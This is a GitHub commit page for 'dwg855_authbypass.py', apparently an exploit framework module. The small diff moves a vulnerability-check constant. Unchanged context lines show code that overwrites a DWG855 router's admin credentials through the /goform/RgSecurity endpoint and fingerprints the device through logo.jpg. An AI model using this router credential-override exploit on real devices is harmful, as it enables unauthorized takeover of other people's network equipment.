Skip to content

Commit

Permalink
Update dwg855_authbypass.py
Browse files Browse the repository at this point in the history
  • Loading branch information
0BuRner authored Nov 13, 2016
1 parent 761cf45 commit f8b4aa2
Showing 1 changed file with 3 additions and 3 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,9 @@ class Exploit(exploits.Exploit):
nuser = exploits.Option('ruser', 'Overwrite old user with.. ')
npass = exploits.Option('rpass', 'Overwrite old password with.. ')

# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp = binascii.unhexlify('114475636b7900') # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"

def run(self):
print_status("Changing " + self.target + " credentials to " + self.nuser + ":" + self.npass)
url = sanitize_url("{}:{}/goform/RgSecurity".format(self.target, self.port))
Expand All @@ -54,9 +57,6 @@ def run(self):

def check(self):

# The check consists in trying to access router resources with incorrect creds. in this case logo.jpg Try it yourself!
vulnresp = binascii.unhexlify('114475636b7900') # Hex data of 0x11 + "Ducky" + 0x00 found on image "logo.jpg"

url = sanitize_url("{}:{}/logo.jpg".format(self.target, self.port))
user_agent = 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)'
headers = {'User-Agent': user_agent,
Expand Down

0 comments on commit f8b4aa2

Please sign in to comment.